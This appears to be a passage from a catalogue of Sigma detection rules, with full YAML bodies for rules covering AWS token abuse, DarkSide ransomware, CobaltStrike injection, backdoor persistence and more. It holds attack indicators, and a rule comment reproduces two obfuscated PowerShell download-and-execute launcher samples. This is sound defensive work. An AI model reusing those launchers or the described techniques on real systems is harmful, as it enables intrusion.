Detection rules › Sigma

Sigma rules: 0i

RuleSeverity
AWS Console GetSigninToken Potential Abusemedium
Certificate Private Key Acquiredmedium
CodeIntegrity - Unsigned Image Loadedhigh
CVE-2021-44077 POC Default Dropped Filehigh
DarkSide Ransomware Patterncritical
DNS Query To Ufile.iolow
Exploit for CVE-2017-8759critical
Griffon Malware Attack Patterncritical
HackTool - BabyShark Agent Default URL Patterncritical
HackTool - CobaltStrike BOF Injection Patternhigh
IAM Access Key Createdmedium
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Systemhigh
Kapeka Backdoor Autorun Persistencehigh
Live Memory Dump Using Powershellhigh
Mask System Power Settings Via Systemctlhigh
MFA downgrade - disable MFA policies by modifying the policies
Ntdsutil Abusemedium
OpenCanary - HTTPPROXY Login Attempthigh
Potential Container Discovery Via Inodes Listinglow
Potential Persistence Via Mpnotifyhigh
Potential Rcdll.DLL Sideloadinghigh
Potential RoboForm.DLL Sideloadingmedium
PowerShell Decompress Commandsinformational
PowerShell MSI Install via WindowsInstaller COM From Remote Locationmedium
Prefetch File Deletedhigh
Privilege Escalation via Named Pipe Impersonationhigh
Remote PowerShell Sessions Network Connections (WinRM)high
Remote Task Creation via ATSVC Named Pipemedium
Renamed ZOHO Dctask64 Executionhigh
Shell Open Registry Keys Manipulationhigh
Suspicious Child Process Of SQL Serverhigh
Suspicious Creation with Colorcplhigh
Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing - Networkhigh
Suspicious Explorer Process with Whitespace Padding - ClickFix/FileFixhigh
System Network Discovery - Linuxinformational
TanStack Supply-Chain Attack Execution Indicators - Linuxhigh

AWS Console GetSigninToken Potential Abuse

#
Status
test
Severity
medium
Author
Chester Le Bron (@123Le_Bron)
Source
github.com/SigmaHQ/sigma

Detects potentially suspicious events involving "GetSigninToken". An adversary using the "aws_consoler" tool can leverage this console API to create temporary federated credential that help obfuscate which AWS credential is compromised (the original access key) and enables the adversary to pivot from the AWS CLI to console sessions without the need for MFA using the new access key issued in this request.

Known False Positives

  • GetSigninToken events will occur when using AWS SSO portal to login and will generate false positives if you do not filter for the expected user agent(s), see filter. Non-SSO configured roles would be abnormal and should be investigated.

MITRE ATT&CK Coverage

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

title: AWS Console GetSigninToken Potential Abuse
id: f8103686-e3e8-46f3-be72-65f7fcb4aa53
status: test
description: |
    Detects potentially suspicious events involving "GetSigninToken".
    An adversary using the "aws_consoler" tool can leverage this console API to create temporary federated credential that help obfuscate which AWS credential is compromised (the original access key) and enables the adversary to pivot from the AWS CLI to console sessions without the need for MFA using the new access key issued in this request.
references:
    - https://github.com/NetSPI/aws_consoler
    - https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/
author: Chester Le Bron (@123Le_Bron)
date: 2024-02-26
tags:
    - attack.lateral-movement
    - attack.t1021.007
    - attack.t1550.001
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: 'signin.amazonaws.com'
        eventName: 'GetSigninToken'
    filter_main_console_ua:
        userAgent|contains: 'Jersey/${project.version}'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - GetSigninToken events will occur when using AWS SSO portal to login and will generate false positives if you do not filter for the expected user agent(s), see filter. Non-SSO configured roles would be abnormal and should be investigated.
level: medium

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    eventSource: 'signin.amazonaws.com'
    eventName: 'GetSigninToken'

Stage 2: not filter_main_console_ua

filter_main_console_ua:
    userAgent|contains: 'Jersey/${project.version}'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
eventNameeq
  • GetSigninToken corpus 3 (sigma 3)
field:"aws::eventName" kind:eq value:"GetSigninToken"
eventSourceeq
  • signin.amazonaws.com corpus 5 (sigma 5)
field:"aws::eventSource" kind:eq value:"signin.amazonaws.com"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
userAgentmatchJersey/${project.version}excludes:userAgent field:"userAgent" value:"Jersey/${project.version}"

Certificate Private Key Acquired

#
Status
test
Severity
medium
Author
Zach Mathis
Source
github.com/SigmaHQ/sigma

Detects when an application acquires a certificate private key

Known False Positives

  • Legitimate application requesting certificate exports will trigger this. Apply additional filters as needed

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

Rule Body

title: Certificate Private Key Acquired
id: e2b5163d-7deb-4566-9af3-40afea6858c3
status: test
description: Detects when an application acquires a certificate private key
references:
    - https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html
author: Zach Mathis
date: 2023-05-13
tags:
    - attack.credential-access
    - attack.t1649
logsource:
    product: windows
    service: capi2
    definition: 'Requirements: The CAPI2 Operational log needs to be enabled'
detection:
    selection:
        EventID: 70 # Acquire Certificate Private Key
    condition: selection
falsepositives:
    - Legitimate application requesting certificate exports will trigger this. Apply additional filters as needed
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 70

CodeIntegrity - Unsigned Image Loaded

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects loaded unsigned image on the system

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

TacticTechniques
Privilege EscalationNo specific technique

Telemetry Coverage

Rule Body

title: CodeIntegrity - Unsigned Image Loaded
id: c92c24e7-f595-493f-9c98-53d5142f5c18
status: test
description: Detects loaded unsigned image on the system
references:
    - https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
    - https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations
    - Internal Research
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-06-06
tags:
    - attack.privilege-escalation
logsource:
    product: windows
    service: codeintegrity-operational
detection:
    selection:
        EventID: 3037 # Code Integrity determined an unsigned image %2 is loaded into the system. Check with the publisher to see if a signed version of the image is available.
    condition: selection
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 3037

CVE-2021-44077 POC Default Dropped File

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the creation of "msiexec.exe" in the "bin" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

TacticTechniques
ExecutionNo specific technique

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 11: FileCreate

Rule Body

title: CVE-2021-44077 POC Default Dropped File
id: 7b501acf-fa98-4272-aa39-194f82edc8a3
status: test
description: Detects the creation of "msiexec.exe" in the "bin" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)
references:
    - https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/
    - https://github.com/horizon3ai/CVE-2021-44077/blob/b7a48e25824e8ead95e028475c7fd0e107e6e6bf/exploit.py
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-06
tags:
    - attack.execution
    - cve.2021-44077
    - detection.emerging-threats
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '\ManageEngine\SupportCenterPlus\bin\msiexec.exe'
    condition: selection
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetFilename|endswith: '\ManageEngine\SupportCenterPlus\bin\msiexec.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetFilenameends_with
  • \ManageEngine\SupportCenterPlus\bin\msiexec.exe
field:"TargetFilename" kind:ends_with value:"\ManageEngine\SupportCenterPlus\bin\msiexec.exe"

DarkSide Ransomware Pattern

#
Status
test
Severity
critical
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects DarkSide Ransomware and helpers

Known False Positives

  • UAC bypass method used by other malware

MITRE ATT&CK Coverage

TacticTechniques
Execution

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: DarkSide Ransomware Pattern
id: 965fff6c-1d7e-4e25-91fd-cdccd75f7d2c
status: test
description: Detects DarkSide Ransomware and helpers
references:
    - https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html
    - https://app.any.run/tasks/8b9a571b-bcc1-4783-ba32-df4ba623b9c0/
    - https://www.joesandbox.com/analysis/411752/0/html#7048BB9A06B8F2DD9D24C77F389D7B2B58D2
author: Florian Roth (Nextron Systems)
date: 2021-05-14
tags:
    - attack.execution
    - attack.t1204
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection1:
        CommandLine|contains:
            - '=[char][byte](''0x''+'
            - ' -work worker0 -path '
    selection2:
        ParentCommandLine|contains: 'DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}'
        Image|contains: '\AppData\Local\Temp\'
    condition: 1 of selection*
falsepositives:
    - Unknown
    - UAC bypass method used by other malware
level: critical

Stages and Predicates

Stage 0: condition

1 of selection*

Stage 1: selection1

selection1:
    CommandLine|contains:
        - '=[char][byte](''0x''+'
        - ' -work worker0 -path '

Stage 2: selection2

selection2:
    ParentCommandLine|contains: 'DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}'
    Image|contains: '\AppData\Local\Temp\'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -work worker0 -path
  • =[char][byte]('0x'+
field:"CommandLine" kind:match
Imagematch
  • \AppData\Local\Temp\ corpus 11 (sigma 10, splunk 1)
field:"Image" kind:match value:"\AppData\Local\Temp\"
ParentCommandLinematch
  • DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
field:"ParentCommandLine" kind:match value:"DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"

DNS Query To Ufile.io

#
Status
test
Severity
low
Author
yatinwad, TheDFIRReport
Source
github.com/SigmaHQ/sigma

Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration

Known False Positives

  • DNS queries for "ufile" are not malicious by nature necessarily. Investigate the source to determine the necessary actions to take

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 22: DNSEvent (DNS query)

Rule Body

title: DNS Query To Ufile.io
id: 1cbbeaaf-3c8c-4e4c-9d72-49485b6a176b
related:
    - id: 090ffaad-c01a-4879-850c-6d57da98452d
      type: similar
status: test
description: Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration
references:
    - https://thedfirreport.com/2021/12/13/diavol-ransomware/
author: yatinwad, TheDFIRReport
date: 2022-06-23
modified: 2023-09-18
tags:
    - attack.exfiltration
    - attack.t1567.002
logsource:
    product: windows
    category: dns_query
detection:
    selection:
        QueryName|contains: 'ufile.io'
    condition: selection
falsepositives:
    - DNS queries for "ufile" are not malicious by nature necessarily. Investigate the source to determine the necessary actions to take
level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    QueryName|contains: 'ufile.io'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
QueryNamematch
  • ufile.io corpus 2 (sigma 2)
field:"QueryName" kind:match value:"ufile.io"

Exploit for CVE-2017-8759

#
Status
test
Severity
critical
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Exploit for CVE-2017-8759
id: fdd84c68-a1f6-47c9-9477-920584f94905
status: test
description: Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759
references:
    - https://www.hybrid-analysis.com/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100
    - https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100
author: Florian Roth (Nextron Systems)
date: 2017-09-15
modified: 2021-11-27
tags:
    - attack.execution
    - attack.t1203
    - attack.t1204.002
    - attack.initial-access
    - attack.t1566.001
    - cve.2017-8759
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\WINWORD.EXE'
        Image|endswith: '\csc.exe'
    condition: selection
falsepositives:
    - Unknown
level: critical

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ParentImage|endswith: '\WINWORD.EXE'
    Image|endswith: '\csc.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \csc.exe corpus 9 (sigma 9)
field:"Image" kind:ends_with value:"\csc.exe"
ParentImageends_with
  • \WINWORD.EXE corpus 10 (sigma 10)
field:"ParentImage" kind:ends_with value:"\WINWORD.EXE"

Griffon Malware Attack Pattern

#
Status
test
Severity
critical
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects process execution patterns related to Griffon malware as reported by Kaspersky

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

TacticTechniques
ExecutionNo specific technique

Telemetry Coverage

Rule Body

title: Griffon Malware Attack Pattern
id: bcc6f179-11cd-4111-a9a6-0fab68515cf7
status: test
description: Detects process execution patterns related to Griffon malware as reported by Kaspersky
references:
    - https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-03-09
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - '\local\temp\'
            - '//b /e:jscript'
            - '.txt'
    condition: selection
falsepositives:
    - Unlikely
level: critical

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CommandLine|contains|all:
        - '\local\temp\'
        - '//b /e:jscript'
        - '.txt'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • .txt corpus 9 (sigma 9)
  • //b /e:jscript
  • \local\temp\ corpus 2 (sigma 2)
field:"CommandLine" kind:match

HackTool - BabyShark Agent Default URL Pattern

#
Status
test
Severity
critical
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects Baby Shark C2 Framework default communication patterns

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Rule Body

title: HackTool - BabyShark Agent Default URL Pattern
id: 304810ed-8853-437f-9e36-c4975c3dfd7e
status: test
description: Detects Baby Shark C2 Framework default communication patterns
references:
    - https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845
author: Florian Roth (Nextron Systems)
date: 2021-06-09
modified: 2024-02-15
tags:
    - attack.command-and-control
    - attack.t1071.001
logsource:
    category: proxy
detection:
    selection:
        c-uri|contains: 'momyshark\?key='
    condition: selection
falsepositives:
    - Unlikely
level: critical

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    c-uri|contains: 'momyshark\?key='

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
c-urimatch
  • momyshark\?key=
field:"c-uri" kind:match value:"momyshark\?key="

HackTool - CobaltStrike BOF Injection Pattern

#
Status
test
Severity
high
Author
Christian Burkard (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects a typical pattern of a CobaltStrike BOF which inject into other processes

MITRE ATT&CK Coverage

TacticTechniques
Execution
Defense Impairment

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 10: ProcessAccess

Rule Body

title: HackTool - CobaltStrike BOF Injection Pattern
id: 09706624-b7f6-455d-9d02-adee024cee1d
status: test
description: Detects a typical pattern of a CobaltStrike BOF which inject into other processes
references:
    - https://github.com/boku7/injectAmsiBypass
    - https://github.com/boku7/spawn
author: Christian Burkard (Nextron Systems)
date: 2021-08-04
modified: 2023-11-28
tags:
    - attack.execution
    - attack.defense-impairment
    - attack.t1106
    - attack.t1685
logsource:
    category: process_access
    product: windows
detection:
    selection:
        CallTrace|re: '^C:\\Windows\\SYSTEM32\\ntdll\.dll\+[a-z0-9]{4,6}\|C:\\Windows\\System32\\KERNELBASE\.dll\+[a-z0-9]{4,6}\|UNKNOWN\([A-Z0-9]{16}\)$'
        GrantedAccess:
            - '0x1028'
            - '0x1fffff'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CallTrace|re: '^C:\\Windows\\SYSTEM32\\ntdll\.dll\+[a-z0-9]{4,6}\|C:\\Windows\\System32\\KERNELBASE\.dll\+[a-z0-9]{4,6}\|UNKNOWN\([A-Z0-9]{16}\)$'
    GrantedAccess:
        - '0x1028'
        - '0x1fffff'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CallTraceregex_match
  • ^C:\Windows\SYSTEM32\ntdll.dll+[a-z0-9]{4,6}|C:\Windows\System32\KERNELBASE.dll+[a-z0-9]{4,6}|UNKNOWN([A-Z0-9]{16})$
field:"CallTrace" kind:regex_match value:"^C:\Windows\SYSTEM32\ntdll.dll+[a-z0-9]{4,6}|C:\Windows\System32\KERNELBASE.dll+[a-z0-9]{4,6}|UNKNOWN([A-Z0-9]{16})$"
GrantedAccesseq
  • 0x1028
  • 0x1fffff corpus 9 (sigma 7, splunk 1, kusto 1)
field:"GrantedAccess" kind:eq

IAM Access Key Created

#
Status
test
Severity
medium
Author
nishikawaakira (@nishikawaakira)
Source
github.com/Yamato-Security/suzaku-rules

Detects when an IAM access key is created via CreateAccessKey. Attackers create access keys for persistence after compromising an account, often targeting an existing user or a newly created backdoor user. Note: This is different from CreateApiKey (AppSync/API Gateway).

Known False Positives

  • Legitimate key rotation by administrators or automation

MITRE ATT&CK Coverage

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

title: IAM Access Key Created
id: 2c4d6e8f-0a1b-3c5d-7e9f-1a2b3c4d5e6f
status: test
description: |
    Detects when an IAM access key is created via CreateAccessKey.
    Attackers create access keys for persistence after compromising an account,
    often targeting an existing user or a newly created backdoor user.
    Note: This is different from CreateApiKey (AppSync/API Gateway).
references:
    - https://attack.mitre.org/techniques/T1098/001/
    - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html
author: nishikawaakira (@nishikawaakira)
date: 2026-05-03
modified: 2026-05-29
tags:
    - attack.persistence
    - attack.t1098.001
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: iam.amazonaws.com
        eventName: CreateAccessKey
    filter:
        errorCode|exists: true
    condition: selection and not filter
falsepositives:
    - Legitimate key rotation by administrators or automation
level: medium

Stages and Predicates

Stage 0: condition

selection and not filter

Stage 1: selection

selection:
    eventSource: iam.amazonaws.com
    eventName: CreateAccessKey

Stage 2: not filter

filter:
    errorCode|exists: true

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
eventNameeq
  • CreateAccessKey corpus 6 (sigma 4, splunk 2)
field:"aws::eventName" kind:eq value:"CreateAccessKey"
eventSourceeq
  • iam.amazonaws.com corpus 22 (sigma 18, splunk 4)
field:"aws::eventSource" kind:eq value:"iam.amazonaws.com"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
errorCodeis_not_null(no value, null check)excludes:errorCode

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System

#
Status
test
Severity
high
Author
Timur Zinniatullin, oscd.community
Source
github.com/SigmaHQ/sigma

Detects Obfuscated Powershell via VAR++ LAUNCHER

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System
id: 14bcba49-a428-42d9-b943-e2ce0f0f7ae6
status: test
description: Detects Obfuscated Powershell via VAR++ LAUNCHER
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task27)
author: Timur Zinniatullin, oscd.community
date: 2020-10-13
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        # ImagePath|re: '(?i)&&set.*(\{\d\}){2,}\\\"\s+?\-f.*&&.*cmd.*\/c' # FPs with |\/r
        # Example 1: CMD /C"sET KUR=Invoke-Expression (New-Object Net.WebClient).DownloadString&&Set MxI=C:\wINDowS\sYsWow64\winDOWspoWERSheLl\V1.0\PowerShelL.EXe ${ExEcut`IoN`cON`TExT}.\"invo`kEcoMm`A`ND\".( \"{2}{1}{0}\" -f 'pt','EscRi','INvOk' ).Invoke( ( .( \"{0}{1}\" -f'D','IR' ) ( \"{0}{1}\"-f'ENV:kU','R')).\"vAl`Ue\" )&& CMD /C%mXI%"
        # Example 2: c:\WiNDOWS\sYSTEm32\CmD.exE /C "sEt DeJLz=Invoke-Expression (New-Object Net.WebClient).DownloadString&&set yBKM=PoWERShelL -noeX ^^^&(\"{2}{0}{1}\"-f '-ItE','m','seT') ( 'V' + 'a'+ 'RiAblE:z8J' +'U2' + 'l' ) ([TYpE]( \"{2}{3}{0}{1}\"-f 'e','NT','e','NViRONM' ) ) ; ^^^& ( ( [sTrIng]${VE`Rbo`SepReFER`Ence})[1,3] + 'X'-joIN'')( ( (.('gI') ('V' + 'a' + 'RIAbLe:z8j' + 'u2' +'l' ) ).vALUe::( \"{2}{5}{0}{1}{6}{4}{3}\" -f 'IRo','Nm','GETE','ABlE','I','nv','enTVAr').Invoke(( \"{0}{1}\"-f'd','ejLz' ),( \"{1}{2}{0}\"-f'cEss','P','RO') )) )&& c:\WiNDOWS\sYSTEm32\CmD.exE /C %ybkm%"
        ImagePath|contains|all:
            - '&&set'
            - 'cmd'
            - '/c'
            - '-f'
        ImagePath|contains:
            - '{0}'
            - '{1}'
            - '{2}'
            - '{3}'
            - '{4}'
            - '{5}'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Provider_Name: 'Service Control Manager'
    EventID: 7045
    ImagePath|contains|all:
        - '&&set'
        - 'cmd'
        - '/c'
        - '-f'
    ImagePath|contains:
        - '{0}'
        - '{1}'
        - '{2}'
        - '{3}'
        - '{4}'
        - '{5}'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ImagePathmatch
  • &&set
  • -f corpus 2 (sigma 2)
  • /c corpus 4 (sigma 4)
  • cmd corpus 5 (sigma 5)
  • {0}
  • {1}
  • {2}
  • {3}
  • {4}
  • {5}
field:"ImagePath" kind:match
Provider_Nameeq
  • Service Control Manager corpus 50 (sigma 50)
field:"Provider_Name" kind:eq value:"Service Control Manager"

Kapeka Backdoor Autorun Persistence

#
Status
test
Severity
high
Author
Swachchhanda Shrawan Poudel
Source
github.com/SigmaHQ/sigma

Detects the setting of a new value in the Autorun key that is used by the Kapeka backdoor for persistence.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Kapeka Backdoor Autorun Persistence
id: c0c67b21-eb8a-4c84-a395-40473ec3b482
related:
    - id: 64a871dd-83f6-4e5f-80fc-5a7ca3a8a819
      type: similar
status: test
description: Detects the setting of a new value in the Autorun key that is used by the Kapeka backdoor for persistence.
references:
    - https://labs.withsecure.com/publications/kapeka
    - https://app.any.run/tasks/1efb3ed4-cc0f-4690-a0ed-24516809bc72/
author: Swachchhanda Shrawan Poudel
date: 2024-07-03
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
    - detection.emerging-threats
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
        TargetObject|endswith:
            - '\Sens Api'
            - '\OneDrive'
        Details|contains|all:
            - ':\WINDOWS\system32\rundll32.exe'
            - '.wll'
            - '#1'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetObject|contains: '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
    TargetObject|endswith:
        - '\Sens Api'
        - '\OneDrive'
    Details|contains|all:
        - ':\WINDOWS\system32\rundll32.exe'
        - '.wll'
        - '#1'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Detailsmatch
  • #1
  • .wll
  • :\WINDOWS\system32\rundll32.exe
field:"Details" kind:match
TargetObjectends_with
  • \OneDrive
  • \Sens Api
field:"TargetObject" kind:ends_with
TargetObjectmatch
  • \SOFTWARE\Microsoft\Windows\CurrentVersion\Run corpus 4 (sigma 4)
field:"TargetObject" kind:match value:"\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

Live Memory Dump Using Powershell

#
Status
test
Severity
high
Author
Max Altgelt (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects usage of a PowerShell command to dump the live memory of a Windows machine

Known False Positives

  • Diagnostics

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

Rule Body

title: Live Memory Dump Using Powershell
id: cd185561-4760-45d6-a63e-a51325112cae
status: test
description: Detects usage of a PowerShell command to dump the live memory of a Windows machine
references:
    - https://learn.microsoft.com/en-us/powershell/module/storage/get-storagediagnosticinfo?view=windowsserver2022-ps
author: Max Altgelt (Nextron Systems)
date: 2021-09-21
modified: 2022-12-25
tags:
    - attack.credential-access
    - attack.t1003
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection:
        ScriptBlockText|contains|all:
            - 'Get-StorageDiagnosticInfo'
            - '-IncludeLiveDump'
    condition: selection
falsepositives:
    - Diagnostics
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ScriptBlockText|contains|all:
        - 'Get-StorageDiagnosticInfo'
        - '-IncludeLiveDump'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ScriptBlockTextmatch
  • -IncludeLiveDump
  • Get-StorageDiagnosticInfo
field:"ScriptBlockText" kind:match

Mask System Power Settings Via Systemctl

#
Status
experimental
Severity
high
Author
Milad Cheraghi, Nasreddine Bencherchali
Source
github.com/SigmaHQ/sigma

Detects the use of systemctl mask to disable system power management targets such as suspend, hibernate, or hybrid sleep. Adversaries may mask these targets to prevent a system from entering sleep or shutdown states, ensuring their malicious processes remain active and uninterrupted. This behavior can be associated with persistence or defense evasion, as it impairs normal system power operations to maintain long-term access or avoid termination of malicious activity.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

TacticTechniques
Persistence

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: Mask System Power Settings Via Systemctl
id: c172b7b5-f3a1-4af2-90b7-822c63df86cb
status: experimental
description: |
    Detects the use of systemctl mask to disable system power management targets such as suspend, hibernate, or hybrid sleep.
    Adversaries may mask these targets to prevent a system from entering sleep or shutdown states, ensuring their malicious processes remain active and uninterrupted.
    This behavior can be associated with persistence or defense evasion, as it impairs normal system power operations to maintain long-term access or avoid termination of malicious activity.
author: Milad Cheraghi, Nasreddine Bencherchali
date: 2025-10-17
references:
    - https://www.man7.org/linux/man-pages/man1/systemctl.1.html
    - https://linux-audit.com/systemd/faq/what-is-the-difference-between-systemctl-disable-and-systemctl-mask/
tags:
    - attack.persistence
    - attack.impact
    - attack.t1653
logsource:
    category: process_creation
    product: linux
detection:
    selection_systemctl:
        Image|endswith: '/systemctl'
        CommandLine|contains: ' mask'
    selection_power_options:
        CommandLine|contains:
            - 'suspend.target'
            - 'hibernate.target'
            - 'hybrid-sleep.target'
    condition: all of selection_*
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_systemctl

selection_systemctl:
    Image|endswith: '/systemctl'
    CommandLine|contains: ' mask'

Stage 2: selection_power_options

selection_power_options:
    CommandLine|contains:
        - 'suspend.target'
        - 'hibernate.target'
        - 'hybrid-sleep.target'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • mask
  • hibernate.target
  • hybrid-sleep.target
  • suspend.target
field:"CommandLine" kind:match
Imageends_with
  • /systemctl corpus 4 (sigma 4)
field:"Image" kind:ends_with value:"/systemctl"

MFA downgrade - disable MFA policies by modifying the policies

#
Status
experimental
Author
Okta
Source
github.com/auth0/auth0-customer-detections

Detect when the MFA policy is turned off by setting it to "Never".

Known False Positives

  • MFA can be disabled in favour of the custom MFA setup via Actions.
  • Intentional legitimate disabling by administrators.

MITRE ATT&CK Coverage

Rule Body

title: MFA downgrade - disable MFA policies by modifying the policies
id: 6733ad4e-716a-11f0-9006-723487b9527c
status: experimental
description: |
    Detect when the MFA policy is turned off by setting it to "Never".
author: Okta
date: 2025-07-11
modified: 2025-09-01
logsource:
    product: auth0
detection:
    selection:
        data.type: sapi
        data.description:
            - Update multi-factor authentication policies
    filter_1:
        data.details.response.body{}: 'all-applications'
    filter_2:
        data.details.response.body{}: 'confidence-score'
    condition: selection and (filter_1 or filter_2)
explanation: >
    The query filters for modifications of MFA settings by checking if any policies are enabled either as Always
    ('all-applications') or Use Adaptive MFA ('confidence-score').
    It returns records when the response body is empty meaning that no policies are enabled, i.e. Never.
    The Splunk query below returns only the latest policy modification record.
    If MFA is set to Never, this query returns one record.
    If MFA is set in Always or Use Adaptive MFA, no record is returned.
    The Splunk query displays the modifying IP, user, and MFA policy enabled (Always, Adaptive, or Never).
    Finally, this query can be used for reporting purposes (when and what MFA policies were enabled) by commenting
    the "sort", "head", and "when" clauses.
splunk: |
    index=auth0 data.tenant_name="{your-tenant-name}"
    data.type=sapi data.description="Update multi-factor authentication policies"
